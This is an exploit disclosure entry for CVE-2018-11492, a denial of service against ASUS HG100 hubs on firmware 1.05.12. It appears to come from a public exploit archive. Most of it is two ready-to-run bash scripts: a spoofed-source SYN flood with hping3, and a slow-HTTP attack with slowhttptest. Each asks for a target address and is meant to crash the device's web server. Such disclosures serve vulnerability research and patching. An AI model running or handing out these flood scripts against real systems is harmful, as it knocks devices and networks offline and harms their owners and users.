`# Exploit Title:ASUS HG100 devices denial of service(DOS) via IPv4 packets/SlowHTTPDOS   
# Date: 2019-04-14 # Exploit Author: YinT Wang;   
# Vendor Homepage: www.asus.com   
# Version: Hardware version: HG100 、Firmware version: 1.05.12   
# Tested on: Currnet 1.05.12   
# CVE : CVE-2018-11492  
  
1. Description   
The attack at same Local-Network-area could crash the device via the Hping3 or Slowhttptest(which is not include in the CVE-2018-11492).  
  
2.Proof of Concept  
Just Execute the following script in kali which could crash the devices  
  
1. IPv4 packet and in result of devices crash.which written in linux script.  
  
#needed to co-operate with hping3 tool  
#with the time period at least 220s which could cause web server of HG100 devices crash  
#!/bin/bash  
read -p "enter the ip of HG100 here " url  
hping3 -V -c 10000 -S -w 64 --flood --rand-source $url  
sleep 220  
echo "Hping3 –V –c 10000 –S –w 64 –flood –rand-source $url time 220s"  
exit 0  
  
2.Slowhttp test and caused the devices crash.which written in linux script.  
  
#needed to co-operate with slowhttptest tool  
#with the time period 600s which could cause web server of HG100 devices crash  
#!/bin/bash  
read -p "enter the ip of HG100 with port here ex: http://x.x.x.x:123 " url  
slowhttptest -H -R -c 10000 -l 600 -u $url  
sleep 600  
echo "slowhttptest -H -R -c 10000 -l 600 -u $url time 600s"  
exit 0
